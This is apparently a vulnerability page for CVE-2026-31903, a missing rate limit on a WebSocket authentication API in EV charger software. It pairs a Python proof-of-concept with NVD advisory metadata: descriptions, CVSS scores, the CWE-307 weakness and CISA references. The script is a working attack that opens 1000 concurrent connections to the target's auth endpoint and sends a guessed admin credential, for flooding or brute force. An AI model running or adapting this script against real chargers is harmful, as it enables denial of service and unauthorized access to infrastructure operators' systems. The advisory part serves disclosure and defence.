CVE-2026-31903

import asyncio import websockets # Target WebSocket Endpoint TARGET_URI = "ws://target-device/api/telemetry/auth" async def auth_flood(): """ PoC for CVE-2026-31903 Sends multiple authentication requests to exhaust resources or brute force. """ tasks = [] print(f"Starting flooding attack on {TARGET_URI}...") # Simulate 1000 concurrent connection attempts for i in range(1000): try: # Create a connection task task = asyncio.create_task(send_auth_request(i)) tasks.append(task) except Exception as e: pass await asyncio.gather(*tasks) async def send_auth_request(id): try: async with websockets.connect(TARGET_URI) as websocket: # Send a dummy authentication payload payload = '{"username":"admin","password":"password123"}' await websocket.send(payload) response = await websocket.recv() print(f"Connection {id}: {response}") except Exception as e: # Expected if server goes down or refuses connection pass if __name__ == "__main__": # Run the PoC asyncio.run(auth_flood())

{"cve": {"id": "CVE-2026-31903", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:43.813", "lastModified": "2026-05-06T18:10:44.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WebSocket Application Programming Interface lacks restrictions on the number of authentication requests. This absence of rate limiting may allow an attacker to conduct denial-of-service attacks by suppressing or mis-routing legitimate charger telemetry, or conduct brute-force attacks to gain unauthorized access."}, {"lang": "es", "value": "La Interfaz de Programación de Aplicaciones WebSocket carece de restricciones sobre el número de solicitudes de autenticación. Esta ausencia de limitación de velocidad puede permitir a un atacante realizar ataques de denegación de servicio suprimiendo o redirigiendo erróneamente la telemetría legítima del cargador, o realizar ataques de fuerza bruta para obtener acceso no autorizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-307"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:igl:eparking.fi:-:*:*:*:*:*:*:*", "matchCriteriaId": "93828603-B375-4CEE-80BE-49966DC81197"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-078-08.json", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-078-08", "source": "[email protected]", "tags": ["Not Applicable"]}]}}